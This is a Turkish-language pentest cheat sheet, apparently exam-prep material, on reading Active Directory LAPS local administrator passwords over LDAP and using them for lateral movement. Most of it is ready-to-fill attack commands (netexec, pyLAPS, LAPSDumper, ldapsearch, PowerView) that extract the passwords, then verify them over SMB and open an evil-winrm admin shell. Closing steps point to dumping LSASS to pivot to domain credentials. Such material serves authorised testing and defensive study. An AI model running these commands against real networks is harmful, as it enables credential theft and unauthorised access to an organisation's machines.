FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE orta :88:389:445:636

LAPS Parola Okuma (ms-Mcs-AdmPwd / msLAPS)

LAPS ile yonetilen makinelerin yerel Administrator parolasini, okuma yetkisi (ReadLAPSPassword/All Extended Rights) olan bir principal ile LDAP'tan cekip yatay harekette kullanma.

Bilgi: ÖN KOŞULLAR
  • ms-Mcs-AdmPwd (legacy LAPS) veya msLAPS-Password (Windows LAPS) niteliğini okuyabilen bir principal
  • Hedef bilgisayar nesnesi uzerinde ReadLAPSPassword kenari (BloodHound ile dogrulanir)
  • DC'ye LDAP erisimi
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --laps
Okuma yetkili oldugumuz tum makinelerin LAPS parolasini LDAP'tan ceker NetExec Wiki - LDAP --laps module
netexec ✓ EXAM-SAFE user
nxc smb {{RHOST}} -u 'administrator' -p '{{PASS}}' --local-auth
Cekilen LAPS parolasiyla yerel Administrator olarak SMB dogrulamasi NetExec Wiki - SMB local-auth
pyLAPS ✓ EXAM-SAFE user
pyLAPS.py --action get -d {{DOMAIN}} -u '{{USER}}' -p '{{PASS}}' --dc-ip {{DC_IP}}
pyLAPS ile tum bilgisayarlarin LAPS parolalarini cekme pyLAPS (p0dalirius) GitHub README
LAPSDumper ✓ EXAM-SAFE user
laps.py -u '{{USER}}' -p '{{PASS}}' -d {{DOMAIN}} -l {{DC_IP}}
LAPSDumper ile ms-Mcs-AdmPwd toplu cekimi LAPSDumper (n00py) GitHub README
ldapsearch ✓ EXAM-SAFE user
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd sAMAccountName
Ham LDAP ile legacy LAPS parolasini okuma (yetki varsa nitelik gorunur) HackTricks - LAPS reading
ldapsearch ✓ EXAM-SAFE user
ldapsearch -x -H ldap://{{DC_IP}} -D '{{USER}}@{{DOMAIN}}' -w '{{PASS}}' -b 'DC=corp,DC=local' '(msLAPS-EncryptedPassword=*)' msLAPS-Password sAMAccountName
Windows LAPS (yeni) nitelik adlari ile okuma HackTricks - Windows LAPS
powerview ✓ EXAM-SAFE user
Get-DomainObject -Identity '{{RHOST}}' -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
Windows uzerinden PowerView ile tek makinenin LAPS parolasi PowerView - Get-DomainObject
evil-winrm ✓ EXAM-SAFE user
evil-winrm -i {{RHOST}} -u administrator -p '{{PASS}}'
Cekilen LAPS parolasiyla WinRM uzerinden yerel admin shell WADComs - evil-winrm

Amac

LAPS (Local Administrator Password Solution), her makinenin yerel Administrator parolasini rastgele uretip AD’de bilgisayar nesnesi uzerinde bir nitelikte saklar. Okuma yetkisi olan bir principal ele gecirilirse, bu parola cekilerek ilgili host’a yerel admin olarak girilir — guclu bir yatay hareket primitifi.

Nitelik Adlari (Legacy vs Windows LAPS)

  • Legacy LAPS (Microsoft LAPS): ms-Mcs-AdmPwd (duz metin parola), ms-Mcs-AdmPwdExpirationTime.
  • Windows LAPS (2023+): msLAPS-Password (duz metin, JSON) ve msLAPS-EncryptedPassword (DPAPI ile sifreli; cozme icin domain’de yetki gerekir). Hangi semanin kuruldugu degisir; ikisini de sorgula.

Yetki Nereden Gelir?

LAPS parolasini okuma hakki, bilgisayar nesnesi uzerindeki ReadLAPSPassword (All Extended Rights / belirli okuma izni) ile gelir. BloodHound bunu ReadLAPSPassword kenari olarak gosterir — once ad-bloodhound ile hangi makinelerde bu hakka sahip oldugunu dogrula.

Adimlar

  1. Yetki dogrula: BloodHound’da sahip olunan principal’dan ReadLAPSPassword kenarlarini cek.
  2. Parolayi al: nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --laps — yetkili oldugun tum makineleri ve parolalari listeler. Tek makine icin ldapsearch filtresi (ms-Mcs-AdmPwd=*).
  3. Dogrula: nxc smb {{RHOST}} -u administrator -p '<laps-pass>' --local-auth ile (Pwn3d!) ciktisini bekle.
  4. Shell al: evil-winrm veya impacket-psexec ile yerel admin oturumu; ardindan LSASS dump (ad-lsass) ile domain kimliklerine pivot.

Gotchalar

  • Parola duz metin doner (legacy LAPS); hash kirma gerekmez.
  • --local-auth BAYRAGINI unutma: LAPS parolasi yerel Administrator hesabinindir, domain hesabi degil. Bayraksiz dogrulama basarisiz olur.
  • Windows LAPS’te msLAPS-EncryptedPassword donuyorsa parola DPAPI ile sifrelidir; netexec/pyLAPS bunu cozmeyi dener ama cozum yetkisi (decrypt) ayri bir ACL gerektirir.
  • Parola periyodik olarak rotate olur (ExpirationTime); cekilen parolanin TTL’i kisa olabilir, hizli hareket et.
┌──

Kaynaklar

0/15 set